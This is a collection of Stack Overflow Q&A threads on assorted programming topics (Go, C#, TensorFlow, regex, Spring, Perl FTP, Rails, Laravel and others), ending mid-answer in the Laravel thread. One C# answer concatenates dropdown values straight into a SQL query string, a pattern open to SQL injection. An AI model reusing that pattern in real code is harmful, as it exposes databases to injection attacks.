"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: What is this parenthesis enclosed variable declaration syntax in Go? I am trying to find some information on parenthesis enclosed variable declaration syntax in Go but maybe I just do not know its name and that's why I cannot find it (just like with e.g. value and pointer receivers).
Namely I would like to know the rules behind this type of syntax:
package main
import (
"path"
)
// What's this syntax ? Is it exported ?
var (
rootDir = path.Join(home(), ".coolconfig")
)
func main() {
// whatever
}
Are those variables in var () block available in modules that import this one?
A: var (...) (and const (...) are just shorthand that let you avoid repeating the var keyword. It doesn't make a lot of sense with a single variable like this, but if you have multiple variables it can look nicer to group them this way.
It doesn't have anything to do with exporting. Variables declared in this way are exported (or not) based on the capitalization of their name, just like variables declared without the parentheses.
A: This code
// What's this syntax ? Is it exported ?
var (
rootDir = path.Join(home(), ".coolconfig")
)
is just a longer way of writing
var rootDir = path.Join(home(), ".coolconfig")
However it is useful when declaring lots of vars at once. Instead of
var one string
var two string
var three string
You can write
var (
one string
two string
three string
)
The same trick works with const and type too.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/35830676",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "14"
} |
Q: c# multiple dropdowns Table i need to sort
So i got this 5 drop downs i need to use for sorting output from sql
Now i use
DropDownList_Instruktorer.Items.Insert(0, new ListItem("Vælg Instruktør", "*"));
For the Default Value, and i was thinking this will do the job. But
cmd.Parameters.addwithvalue
enter the value into value obviously instead of use * to show all results like it normally does in sql
SqlCommand cmd = new SqlCommand(@"SELECT * FROM Hold
INNER JOIN Instruktorer
ON instruktor_id = fk_in_id
INNER JOIN Stilarter
ON stilart_id = fk_st_id
INNER JOIN Aldersgruppe
ON aldersgruppe_id = fk_ag_id
INNER JOIN Niveauer
ON niveau_id = fk_ni_id
INNER JOIN Tider
ON tid_id = fk_ht_id
WHERE fk_in_id = @Instruktor AND
fk_st_id = @Stilart AND
fk_ag_id = @Aldersgruppe AND
fk_ni_id = @Niveau AND
fk_ht_id = @Tid", conn);
cmd.Parameters.AddWithValue("@Instruktor", DropDownList_Instruktorer.SelectedValue);
cmd.Parameters.AddWithValue("@Stilart", DropDownList_Stilart.SelectedValue);
cmd.Parameters.AddWithValue("@Aldersgruppe", DropDownList_Aldersgrupper.SelectedValue);
cmd.Parameters.AddWithValue("@Niveau", DropDownList_Niveauer.SelectedValue);
cmd.Parameters.AddWithValue("@Tid", DropDownList_Tider.SelectedValue);
Here is my sql, Any idea how i can i get it to work without writing 25 if statements?
A: Why not use a string in place of the AddWithValue, eg:
string instructorStr = "";
string stilartStr = "";
...
if (DropDownList_Instruktorer.SelectedValue != "*")
{
instructorStr = "fk_in_id = " + DropDownList_Instruktorer.SelectedValue + " AND";
}
if (DropDownList_Stilart.SelectedValue != "*")
{
stilartStr = "fk_st_id = " + DropDownList_Stilart.SelectedValue + " AND";
}
...
SqlCommand cmd = new SqlCommand(@"SELECT * FROM Hold
INNER JOIN Instruktorer
ON instruktor_id = fk_in_id
INNER JOIN Stilarter
ON stilart_id = fk_st_id
INNER JOIN Aldersgruppe
ON aldersgruppe_id = fk_ag_id
INNER JOIN Niveauer
ON niveau_id = fk_ni_id
INNER JOIN Tider
ON tid_id = fk_ht_id
WHERE " +
instructorStr +
stilartStr +
...
+ " 1 = 1", conn);
Then you have the option to do all sorts of stuff with the individual variables, including ORDER BY
Using Stringbuilder would be cleaner but it's easier to show it this way.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/37810072",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Tensorflow Object Detection model doesnt detect the images in a video I developed a TensorFlow model with one class (it had a loss of 0.03 and was trained on 680 labelled images.) I am trying to use this model to detect the object on every video frame. However, whenever I run my code, it detects something in the top left of the screen in the black border surrounding the video. I tried changing the model from one trained with mobile net to one with efficientdet D3, and the same issue persisted. I then tried changing my code to require a minisize and a higher score. I have also tried letting it make multiple detections and use the one with the highest score. However, with all of these conditions, it didn't detect anything that fulfilled the requirements. my code is as follows:
import os
import time
import tensorflow as tf
import cv2
import scipy
import math
import pandas as pd
import numpy as np
from PIL import Image
from object_detection.utils import label_map_util
from object_detection.utils import visualization_utils as viz_utils
from base64 import b64encode
#os.chdir("C:\\Users\\Ibrahim\\desktop")
PATH_TO_SAVED_MODEL = "C:/Users/Ibrahim/Desktop/fine_tuned_model/content/fine_tuned_model/saved_model"
# Load label map and obtain class names and ids
#label_map = label_map_util.load_labelmap(PATH_TO_LABELS)
category_index=label_map_util.create_category_index_from_labelmap("C:\\Users\\Ibrahim\\Desktop\\customTF2-20221225T123609Z-001\\customTF2\\data\\label_map.pbtxt",use_display_name=True)
file = "CL_1_S0003.mp4"
video = cv2.VideoCapture(file)
ret,frame=video.read()
#getting the walls bbox
wall_bbox = cv2.selectROI(frame)
(x_wall,y_wall,x2_wall,y2_wall) = wall_bbox
print(wall_bbox)
num_cont_frames=0
#video = cv.VideoCapture(path)
ball_size = 0.22 #diameter of a regulation ball in meters
fps_cam = 10000 # Change this to the required fps of the video
fps_vid =video.get(cv2.CAP_PROP_FPS)
fps_time= fps_vid / fps_cam
#print(fps_time)
model = tf.saved_model.load(PATH_TO_SAVED_MODEL)
signature = list(model.signatures.values())[0]
# Initialize variable to track state of ball (in contact with wall or not)
in_contact = False
# Initialize variable to track whether in_contact has ever been True
in_contact_ever = False
# Initialize lists for inbound and outbound velocities
inbound_velocities = []
outbound_velocities = []
# Calculate time interval between frames in seconds
time_interval = 1 / fps_cam
scale = []
x_list = []
y_list = []
x_def=[]
inbound_x = []
inbound_y = []
outbound_x = []
outbound_y = []
w1=[]
score_thresh = 0.8 # Minimum threshold for object detection
max_detections = 20
while True:
# Read frame from video
ret, frame = video.read()
if not ret:
break
# Add a batch dimension to the frame tensor
frame_tensor = tf.expand_dims(frame, axis=0)
# Get detections for image
detections = signature(frame_tensor) # Replace this with a call to your TensorFlow model's predict method
scores = detections['detection_scores'][0, :max_detections].numpy()
bboxes = detections['detection_boxes'][0, :max_detections].numpy()
labels = detections['detection_classes'][0, :max_detections].numpy().astype(np.int64)
labels = [category_index[n]['name'] for n in labels]
# Initialize variables to keep track of the maximum score and corresponding bounding box
max_score = 0
selected_bbox = None
# Loop through all bounding boxes
for bbox, score in zip(bboxes, scores):
# Check if the score is greater than the current maximum score
if score > max_score:
# Update the maximum score and corresponding bounding box
max_score = score
selected_bbox = bbox
# Check if a bounding box was selected
if selected_bbox is not None:
# Extract bounding box coordinates
(x, y, w, h) = selected_bbox
# Filter out bounding boxes that are too small (smaller than a minimum size)
if w >= 10 and h >= 10:
# Draw bounding box on frame
cv2.rectangle(frame, (int(x), int(y)), (int(x+w), int(y+h)), (0,255,0), 20, 1)
cv2.imshow('Frame', frame)
cv2.waitKey(1)
x2=x+w
y2=y+h
# Calculate center point of bounding box
x_center = (x + x2) / 2
y_center = (y + y2) / 2
# Append x and y center points to lists
x_list.append(x_center)
y_list.append(y_center)
w1.append(w)
# Calculate other variables and metrics using bbox
scale.append(ball_size/h) #meters per pixel.diameter in pixels or coordinate value / real diameter in m to give pixel per m for a scale factor
#x_list.append(x2) #list of x positions of right edge
#y_list.append(y2)
if (x_center - w) < max(x2_wall, x_wall): #sometimes the bbox is the wrong way around
# Set in_contact to True
in_contact = True
# Set in_contact_ever to True
in_contact_ever = True
# Increment counter
num_cont_frames = num_cont_frames + 1
x_defe = x2-x2_wall
x_def.append(x_defe)
else:
in_contact = False
if in_contact == False and in_contact_ever==False:
inbound_x.append(x_center) #list of x positions at center of ball
inbound_y.append(y_center) #list of y positions at center of ball
if in_contact == False and in_contact_ever==True:
outbound_x.append(x_center) #list of x positions of right edge
outbound_y.append(x_center)
print(outbound_x)
else:
cv2.putText(frame,'Error',(100,0),cv2.FONT_HERSHEY_SIMPLEX,1,(0,0,255),2)
cv2.imshow('Tracking',frame)
if cv2.waitKey(1) & 0XFF==27:
break
cv2.destroyAllWindows()
scale_ave=scipy.stats.trim_mean(scale, 0.2) #trim_mean 20% either way to remove some extrainious results
x_diff=[]
y_diff=[]
x_len=len(x_list)-1 #minus 1 as python starts with 0 so we dont overflow
for i in range(x_len):
x_diff.append(x_list[i]-x_list[i+1]) #find x distance per frame
for i in range(x_len):
y_diff.append(y_list[i]-y_list[i+1]) #find y distance per frame
pyth_dist=[]
pyth_sub=[]
x2_len=len(x_diff)-1
x_speed=[]
y_speed=[]
for i in range(x2_len):
x_speeds=x_diff[i]*scale_ave*fps_cam
x_speed.append(x_speeds)
y_speeds=y_diff[i]*scale_ave*fps_cam
y_speed.append(y_speeds)
pyth_sub=math.hypot(x_diff[i] , y_diff[i])
pyth_dist.append(pyth_sub) #do pythagoras to find pixel distance per frame
realdist=[]
speed=[]
for i in range(x2_len):
realdistcalc=(pyth_dist[i]*scale_ave)
realdist.append(realdistcalc) # change from pixels to meters
for item in realdist:
if item > 1:
realdist.remove(item)
distlen=len(realdist)-1
for i in range(distlen):
speedcalc=realdist[i]*fps_cam
speed.append(speedcalc)
contact_time=num_cont_frames/fps_cam
print(contact_time)
if x_def:
realxdef = min(x_def)*scale_ave
else:
realxdef = 0
print(realxdef)
# Calculate inbound velocities
inbound_x_diff = []
inbound_y_diff = []
# Calculate inbound x- and y-velocities
inbound_x_velocities = []
inbound_y_velocities = []
inbound_len = len(inbound_x) - 1
# Calculate differences between consecutive x and y coordinates
for i in range(inbound_len):
inbound_x_diff.append(inbound_x[i] - inbound_x[i + 1])
inbound_y_diff.append(inbound_y[i] - inbound_y[i + 1])
# Calculate inbound velocities in meters per second
inbound_velocities = []
for i in range(inbound_len):
inbound_x_velocity = inbound_x_diff[i] * scale_ave * fps_cam
inbound_x_velocities.append(inbound_x_velocity)
inbound_y_velocity = inbound_y_diff[i] * scale_ave * fps_cam
inbound_y_velocities.append(inbound_y_velocity)
inbound_velocity = math.hypot(inbound_x_diff[i], inbound_y_diff[i]) * scale_ave * fps_cam
inbound_velocities.append(inbound_velocity)
# Calculate outbound velocities
outbound_x_diff = []
outbound_y_diff = []
outbound_len = len(outbound_x) - 1
# Calculate differences between consecutive x and y coordinates
for i in range(outbound_len):
outbound_x_diff.append(outbound_x[i] - outbound_x[i + 1])
outbound_y_diff.append(outbound_y[i] - outbound_y[i + 1])
# Calculate outbound velocities in meters per second
outbound_velocities = []
outbound_x_velocities = []
outbound_y_velocities = []
for i in range(outbound_len):
outbound_x_velocity = outbound_x_diff[i] * scale_ave * fps_cam
outbound_x_velocities.append(outbound_x_velocity)
outbound_y_velocity = outbound_y_diff[i] * scale_ave * fps_cam
outbound_y_velocities.append(outbound_y_velocity)
outbound_velocity = math.hypot(outbound_x_diff[i], outbound_y_diff[i]) * scale_ave * fps_cam
outbound_velocities.append(outbound_velocity)e
I expected a bounding box around the ball. I tried changing the model, increasing the number of maximum detections, adding a minimum size to the detections, and increasing the required score for detection.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/74928889",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How to send form contents anonymously via email How do you send the content of a website form to an email address without disclosing the email address to the user.
Thanks!
PS: If at all possible, I would like this to be in HTML JavaScript Ok, anything I guess.
A: Not possible. You can however put a "fake" from header in the mail. You'll only risk it to end up in the junk folder.
HTML doesn't provide any functionality to send mails. You'll really need to do this in the server side. How exactly to do this depends on the server side programming language in question. In PHP for example, you have the mail() function. In Java you have the JavaMail API. And so on.
Regardless of the language used, you'll need a SMTP server as well. It's the one responsible for actually sending the mail. You can use the one from your ISP or a public email provider (Gmail, Yahoo, etc), but you'll be forced to use your account name in the from header. You can also register a domain with a mailbox and just register something like [email protected] and use this to send mails from.
Update: JavaScript can't send mails as well. Like HTML it's a client side language. You'll need to do it with a server side language. All JavaScript can do is to dump the entire page content back to the server side. jQuery may be useful in this:
$.post('/your-server-side-script-url', { body: $('body').html(); });
with (PHP targeted example)
$to = '[email protected]';
$subject = 'Page contents';
$body = $_POST['body']
$headers = prepare_mail_headers();
mail($to, $subject, $body, $headers);
Update 2: if you actually want to hide the to header in the mail, then you'll need to use the bcc (Blind Carbon Copy) instead. This way the recipient addres(ses) will be undisclosed. Only the from, to, cc stays visible.
A: If you mean doing so on a client side, using mailto: link - you can not.
If you mean any way, yes - you submit the form contents back to your server, and have your back end script send the email.
A: You can do the form in HTML, but the posting will need to be done in a script. Even if you don't expose the email address, the script can be used to spam that email address. This is why you see captcha being used in such cases.
There are scripts available for most languages. Check to make sure their are no known security problems for the scripts. The original Matt's script in perl had problems, and the Perl community created a more secure version.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/2785391",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Regex filter numbers divisible by 3 I have a list of comma-separated ids(digits) . And I need to get only these which are divisible by 3.
Example:
i = "3454353, 4354353, 345352, 2343242, 2343242 ..."
A: If you really mean digits (not numbers), this is as easy as
re.findall(r'[369]', my_str)
For a list of numbers, it's quite easy without regular expressions:
lst = "55,62,12,72,55"
print [x for x in lst.split(',') if int(x) % 3 == 0]
A: Using the idea from this question i get:
i = "1, 2, 3, 4, 5, 6, 60, 61, 3454353, 4354353, 345352, 2343241, 2343243"
for value in i.split(','):
result = re.search('^(1(01*0)*1|0)+$', bin(int(value))[2:])
if result:
print '{} is divisible by 3'.format(value)
But you don't want to use regular expressions for this task.
A: A hopefully complete version, from reduction of DEA[1]:
^([0369]|[147][0369]*[258]|(([258]|[147][0369]*[147])([0369]|[258][0369]*[147])*([147]|[258][0369]*[258])))+$
[1:] Converting Deterministic Finite Automata to Regular Expressions', C. Neumann 2005
NOTE: There is a typo in Fig.4: the transition from q_j to itself should read ce*b instead of ce*d.
A: Just for the heck of it:
reobj = re.compile(
r"""\b # Start of number
(?: # Either match...
[0369]+ # a string of digits 0369
| # or
[147] # 1, 4 or 7
(?: # followed by
[0369]*[147] # optional 0369s and one 1, 4 or 7
[0369]*[258] # optional 0369s and one 2, 4 or 8
)* # zero or more times,
(?: # followed by
[0369]*[258] # optional 0369s and exactly one 2, 5 or 8
| # or
[0369]*[147] # two more 1s, 4s or 7s, with optional 0369s in-between.
[0369]*[147]
)
| # or the same thing, just the other way around,
[258] # this time starting with a 2, 5 or 8
(?:
[0369]*[258]
[0369]*[147]
)*
(?:
[0369]*[147]
|
[0369]*[258]
[0369]*[258]
)
)+ # Repeat this as needed
\b # until the end of the number.""",
re.VERBOSE)
result = reobj.findall(subject)
will find all numbers in a string that are divisible by 3.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/10992279",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Spring 3 default beans I am working on a project with multiple spring configuration java classes. Many of them have beans from other config classes autowired in and then injected in the constructors of other beans.
To make this as flexible as possible, I have been using spring profiles to define which implementation of an interface to use in the case where multiple are available.
This works fine, but I was wondering if there was any way with Spring that you could define a default bean?
For example: If no bean of type Foo found on classpath, inject implementation Bar. Else, ignore Bar.
I have looked at this question: Spring 3: Inject Default Bean Unless Another Bean Present, and the solution shown with Java config would work fine if you knew the name of all of the beans, but in my case I will not know what the beans are called.
Does anybody know of a way this can be achieved?
A: Define the default as, well the default, just make sure that the name of the bean is the same, the one inside the profile will override the default one.
<beans>
<!-- The default datasource -->
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
</bean>
<beans profile="jndi">
<jndi:lookup id="dataSource" jndi-name="jdbc/db" />
</beans>
</beans>
This construct would also work with Java based config.
@Configuration
public DefaultConfig {
@Bean
public DataSource dataSource() { ... }
@Configuration
@Profile("jndi")
public static class JndiConfig {
@Bean
public DataSource dataSource() { ... // JNDI lookup }
}
}
When using java based configuration you can also specify a default and in another configuration add another bean of that type and annotate it with @Primary. When multiple instances are found the one with @Primary should be used.
@Configuration
public DefaultConfig {
@Bean
public DataSource dataSource() { ... }
}
@Configuration
@Profile("jndi")
public class JndiConfig {
@Bean
@Primary
public DataSource jndiDataSource() { ... // JNDI lookup }
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/26489071",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: What does this Regex mean in Java? "(\\d+(\\.\\d+)?)" The code is:
Pattern p = Pattern.compile("(\\d+(\\.\\d+)?)");
A: a. \d implies digit.
b. + sign implies one or more occurance of previous character.
c. \. -> since . is a special character in regex, we have to escape it with \.
d. Also, \ is a special escape character in java , hence from java perspective we need to add an additional \ to escape the backslash (\).
Thus, the pattern will reprent any number like:
0.01, 0.001, 1.0001, 100.00001 and so on.
Basically any decimal number with a digit before and after the decimal point.
A: The regex is a simplified version to recognize floating-point numbers: At least one digit optionally followed by a dot and at least a digit.
It's simplified because it only covers only number without a sign (i.e. only positive numbers, because you can't provide a - minus sign), it allows number presentations that are considered invalid, e.g. 000123.123 and lacks the support of numbers written in scientific syntax (e.g. 1.234e56).
| {
"language": "en",
"url": "https://stackoverflow.com/questions/47136430",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-1"
} |
Q: User-level threads for threading From the Tanenbaum OS book it is mentioned the following:
"in user level threads, if a thread starts running, no other thread in that process will ever run unless the first thread voluntarily gives up the CPU".
That means threads are going to run one after the other (sequently) not in parallel. So what is the advantage of the user-level threads?
A: There are two concepts of multitasking in a single process multiple thread environment.
*
*A single thread execute in time slice of the process. And that thread takes care of scheduling of other threads.
*OS takes scheduling decision of process threads and might run them in parallel on different core.
You are talking about approach 1. Yes It has no advantage of multi-threading; but it let many threads / programs run one by one and give you "multitasking" (virtually).
| {
"language": "en",
"url": "https://stackoverflow.com/questions/40878130",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Oracle NOT pl/sql I would like to do a select AFTER I do a case statment
i.e.
select x from dual ( x is actually a variable in a report writer tool)
case when x = 'equipment'
select * from inside_sales
else
select * from outside_sales
end
can't use PL/SQL
any help would be appreciated
A: I think you want this:
select * from inside_sales where x = 'equipment'
union all
select * from outside_sales where x <> 'equipment';
Note: The second condition is slightly more complicated if x can be NULL.
A: Something like this. But what to do with retrieved data?
create function sales_report (is_x IN varchar2)
return // what to return?
is
row_i_s inside_sales%rowtype;
row_o_s ouside_sales%rowtype;
begin
case is_x
when 'equipment'
then
select *
into row_i_s
from inside_sales;
else
select *
into row_o_s
from outside_sales;
end;
return // what to return?
end;
| {
"language": "en",
"url": "https://stackoverflow.com/questions/45339579",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-7"
} |
Q: PERL: Same server different credentials I have a secured ftp with the following credentials:
host: x.x.x.x
username: username1
password: password1
After this, I have created a directory in the ftp and secured it with a different credentials:
path: x.x.x.x/newDirectory/
username: username2
password: password2
I've been trying to access my newDirectory folder using the credentials provided with the perl code below:
use Net::FTP;
my $host="x.x.x.x/newDirectory/";
$ftp = Net::FTP->new->($host,Debug => 0) or die;
$ftp->login("username2",'password2') or die;
I have been prompted by an error "Bad hostname".
A: Below is from the Net::FTP man page
new ([ HOST ] [, OPTIONS ])
This is the constructor for a new Net::FTP object. "HOST" is the
name of the remote host to which an FTP connection is required.
The string "x.x.x.x/newDirectory/" is not a valid host name.
You need to log into the FTP server, then change directory to newDirectory. The cwd method is what you need to use.
cwd ( [ DIR ] )
Attempt to change directory to the directory given in $dir. If
$dir is "..", the FTP "CDUP" command is used to attempt to move up
one directory. If no directory is given then an attempt is made to
change the directory to the root directory.
Try doing something like this (untested)
use Net::FTP;
my $host="x.x.x.x";
$ftp = Net::FTP->new->($host,Debug => 0) or die;
$ftp->login("username2",'password2') or die;
$ftp->cwd("newDirectory");
| {
"language": "en",
"url": "https://stackoverflow.com/questions/58970359",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Registering single client as multiple applications in Spring Eureka We are using Spring Eureka for service registry in our project. There are 12 microservices and each microservices serves 4-5 functionality.
For example a microservice called "MathOperations" serves functions like addition, subtraction, multiplication. With the help of Eureka, if I want to call one of the method, I will be invoking a REST call "http://MathOperations/addition". Now, the problem is, I dont want "MathOperations" to be there in url. I just want to call "http://addition", it should invoke the mathoperations addition method and respond with the result. It is ensured that, all the functionalities will have a unique name across microservices.
This is my thought process (correct me if I'm wrong), Can I register each functionality as a service to Eureka?
A: I don't think that is possible.
On Eureka the microservices get registered with their spring application name. So if you want to achieve what you are saying then you will have to create a separate microservice for each of your functionality - like addition, subtraction etc, get them registered on Eureka and then use them.
A: It is not possible. Posted the same question as an issue in github. Seems like it is not possible. Refer link
| {
"language": "en",
"url": "https://stackoverflow.com/questions/44200055",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: UITapRecognizer and ImageView I have a UIImageView with a UITapGestureRecognizer attached. This is just a ball moving around the screen. It moves once a second.
ball.image = [UIImage imageNamed:@"chicken.png"];
ball.frame = CGRectMake(160, 160, 50, 50);
ball.autoresizesSubviews = NO;
speed = 10;
objTimer = [NSTimer scheduledTimerWithTimeInterval:1 target:self selector:@selector(ballMove:) userInfo:nil repeats:YES];
recognizer = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(handleTap:)];
The method called when the imageView is clicked is
-(void)handleTap:(UITapGestureRecognizer *)sender
{
CGPoint obj = [sender locationInView:ball];
NSLog(@"x = %f",obj.x);
NSLog(@"y = %f",obj.y);
.......
}
It doesn't grab all taps. It only picks up taps where y is less than 1 however.
x = 14.958618
y = 0.879913
x = 23.996643
y = 0.975830
x = 24.542923
y = 0.557907
And so on...
The imageView description is: <UIImageView: 0x6814800; frame = (161.747 183.826; 50 1); opaque = NO; autoresize = W+H; autoresizesSubviews = NO; layer = <CALayer: 0x6814880>>
A: Check whether your UIImageView interactions are enabled:
ball.userInteractionEnabled = YES;
| {
"language": "en",
"url": "https://stackoverflow.com/questions/6196432",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: how to write buffer for compiler? I want to write compiler with C# for the first time and I somehow lost what to do about its buffering! My reference is Compilers, Principles, Techniques and Tools, and it says:
Because of the amount of time taken to process characters and the
large number of characters that must be processed during the
compilation of a large source program, specialized buffering
techniques have been developed to reduce the amount of overhead
required to process a single input character.An important scheme
involves two buffers that are alternately reloaded,Each buffer is of
the same size N, and N is usually the size of a disk block,e.g., 4096
bytes. Using one system read command we can read N characters into a
buffer, rather than using one system call per character. If fewer than
N characters remain in the input file, then a special character,
represented by eof,marks the end of the source file and is different
from any possible character of the source program.
and it also said in this book that we put eof at the end of each buffer to realize that we reach the end of buffer.and it has two pointers forward and lexemBegine that points to the lexeme in buffer!
my problem is that I don't know how to create this buffer ? should I make array or buffer with the size N in sourceBuffer class and then how can I read file from StreamReader and put N characters of source file into array ?
what is the problem if I read characters from source file instead?
A: Seems you reference the last edition of "Compilers: Principles, Techniques, and Tools" from 1986. (But even at that time the quoted part was already outdated).
In modern programming languages like C# (or more precisely in its I/O library) this kind of buffering is already implemented (in a robust, tested, high performance way).
Just use StreamReader which does all this work for you. Then just read character after character until you found a complete token, then process your tokens as described in this excellent book.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/29072171",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: cannot load such file -- gems/bundler-2.1.4/exe/bundle? I got this error when I do bundle instal
bundle install
/Users/nour/.rvm/gems/ruby-2.4.0/bin/bundle:23:in load': cannot load such file -- /Users/nour/.rvm/rubies/ruby-2.4.0/lib/ruby/gems/2.4.0/gems/bundler-2.1.4/exe/bundle (LoadError)
from /Users/nour/.rvm/gems/ruby-2.4.0/bin/bundle:23:in'
from /Users/nour/.rvm/gems/ruby-2.4.0/bin/ruby_executable_hooks:24:in eval'
from /Users/nour/.rvm/gems/ruby-2.4.0/bin/ruby_executable_hooks:24:in'
rails g controller home
Your Gemfile lists the gem byebug (>= 0) more than once.
You should probably keep only one of them.
Remove any duplicate entries and specify the gem only once.
While it's not a problem now, it could cause errors if you change the version of one of them later.
Resolving dependencies...
Bundler could not find compatible versions for gem "bundler":
In Gemfile:
rails (= 4.2.11.1) was resolved to 4.2.11.1, which depends on
bundler (>= 1.3.0, < 2.0)
Current Bundler version:
bundler (2.1.4)
This Gemfile requires a different version of Bundler.
Perhaps you need to update Bundler by running `gem install bundler`?
Could not find gem 'bundler (>= 1.3.0, < 2.0)', which is required by gem 'rails (= 4.2.11.1)', in any of the sources.
A: You have Bundler 2.1.4, and Rails 4.2 does not work with Bundler 2 and above.
You need to install a supported bundler version like this:
gem install bundler:1.17.3
To use the newly installed version run:
bundle _1.17.3_ install
| {
"language": "en",
"url": "https://stackoverflow.com/questions/62370695",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Updating a dictionary by adding the integer 1 to a select few values in a python dictionary
Possible Duplicate:
Adding a constant integer to a value in a python dictionary
The is a report because I wasn't very clear on asking my question previously. I am doing a cellular automata code where I have made a dictionary of a arcgis shapefile FID's and Land Use Codes. FIDs are the point or cell id. I also have created a nested list of each point's adjacent neighbors. Currently I'm looking for clusters of like land use codes by doing a cluster analysis in arcgis. I created a dictionary for each FID and whether it is clustered, which is either 'None' or 'HH'. What the code will do is for each point is give me the cluster code of the point's adjacent neighbors. If all the values in the list have an 'HH', then I want to go get the land use codes from the FID/LandUse dictionary. I then want to add an integer 1 to each land use code within the gridList2 and update the FID/LandUse dictionary, but only if the land use codes are between 1 and 5. So I'm not updating every value in the FID/LandUse dictionary, just the ones corresponding to gridList2. The code I've written isn't working because I'm apparently iterating over the entire gridList when I'm adding 1 for just one dictionary key.
Here's the code:
import arcpy, string, csv
#Creating a dictionary of FID: LU_Codes from external txt file
text_file = open("H:\SWAT\NC\FID_Whole_Copy.txt", "rb")
FID_GC_dict = {}
reader = csv.reader(text_file, delimiter='\t')
for line in reader:
FID_GC_dict[line[0]] = int(line[1])
text_file.close()
#Importing neighbor list file for each FID value
Neighbors_file = open("H:\SWAT\NC\Pro_NL_Copy.txt","rb")
Entries = Neighbors_file.readlines()
Neighbors_file.close()
Neighbors_List = map(string.split, Entries)
#creates a list of the current FID
FID = [x[0] for x in Neighbors_List]
#print FID
Cluster_dict = {}
sc1 = arcpy.SearchCursor('H:\\SWAT\\NC\\cluster.shp')
for row in sc1:
Cluster_dict[str(row.FID)] = [row.COType]
for k, v in Cluster_dict.iteritems():
if v == [u' ']:
Cluster_dict[k] = 'None'
if v == [u'HH']:
Cluster_dict[k] = 'HH'
#print Cluster_dict
i = iter(FID)
Cur_FID = i.next()
clusterList = []
for clist in Neighbors_List:
if clist[0] == Cur_FID:
for ccodes in clist:
clusterList.append(Cluster_dict[ccodes])
print clusterList
numtot = len(clusterList)
noc = clusterList.count('HH')
diff = numtot - noc
print diff
if diff == 0:
gridList2 = []
for nlist in Neighbors_List:
if nlist[0] == Cur_FID:
for neighbors in nlist:
gridList2.append(FID_GC_dict[neighbors])
print gridList2
for lucodes in gridList2:
if lucodes > 1: #I haven't condensed these two lines of code yet.
if lucodes < 5:
FID_GC_dict[Cur_FID] = lucodes + 1 #This gives me a value of 5...should be 4, see below.
print FID_GC_dict[Cur_FID]
So if the first FID is '0', the neighbors list will be ['0','1','12','13','14']. All values have an 'HH', so I want to get the land use codes from the FID/Landuse dictionary which are: [3,3,4,4,4]. Then I want to add 1 to the gridList2 (which is unmutable I've discovered) and update FID/LandUSE dictionary.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/9624703",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Symfony2 - Doctrine log I'd like to see all doctrine queries called.
I know the dev bar, but it does not show queries processed through Ajax.
How can I see all doctrine queries fired ?
A: $ tail -f app/logs/dev.log | grep "doctrine.DEBUG"
A: To expand on your answer, especially on dev, I prefer to split each of my log channels so I can easily pipe each to their own output.
In config_dev.yml, add:
monolog:
handlers:
[...]
doctrine:
action_level: debug
type: stream
path: %kernel.logs_dir%/%kernel.environment%_doctrine.log
channels: doctrine
Then
tail -f app/logs/dev_doctrine.log
will give you a nice clean stream of every transaction as it happens. I add one for event, request and security also, but this is all personal preference, naturally.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/15637647",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "6"
} |
Q: How to write Laravel One to One relationship model and migration With One To One relationship, I'm supposed to have only one phone entry per user.
*
*So, why am I able to add multiple phone numbers ?
*Does it mean that App\User::find(1)->phone only returns the first phone found in the database ?
*Should I add a unique constraint to the user_id column in the phones migration ?
User Model:
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class User extends Model
{
/**
* Get the phone record associated with the user.
*/
public function phone()
{
return $this->hasOne('App\Phone');
}
}
Phone model
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Phone extends Model
{
/**
* Get the user that owns the phone.
*/
public function user()
{
return $this->belongsTo('App\User');
}
}
Users table migration:
Schema::create('users', function (Blueprint $table) {
$table->increments('id');
$table->string('name');
$table->string('email')->unique();
$table->string('password');
$table->rememberToken();
$table->timestamps();
});
Phone migration:
Schema::create('phones', function (Blueprint $table) {
$table->increments('id');
$table->integer('user_id')->unsigned();
$table->string('phone');
$table->timestamps();
$table->foreign('user_id')->references('id')->on('users')->onDelete('cascade');
});
A: 1) So, why am I able to add multiple phone numbers?
** While adding a phone number to the database, simply search if the current user has a phone number. If yes, then update it. Else, create a new one. Check updateOrCreate
// If there is a user with id 2 then SET the phone to 7897897890.
// If no user with id 2 found, then CREATE one with user_id 2 and phone number to 7897897890
Phone::updateOrCreate(
['user_id' => 2],
['phone' => '7897897890']
);
2) Does it mean that App\User::find(1)->phone only returns the first phone found in the database?
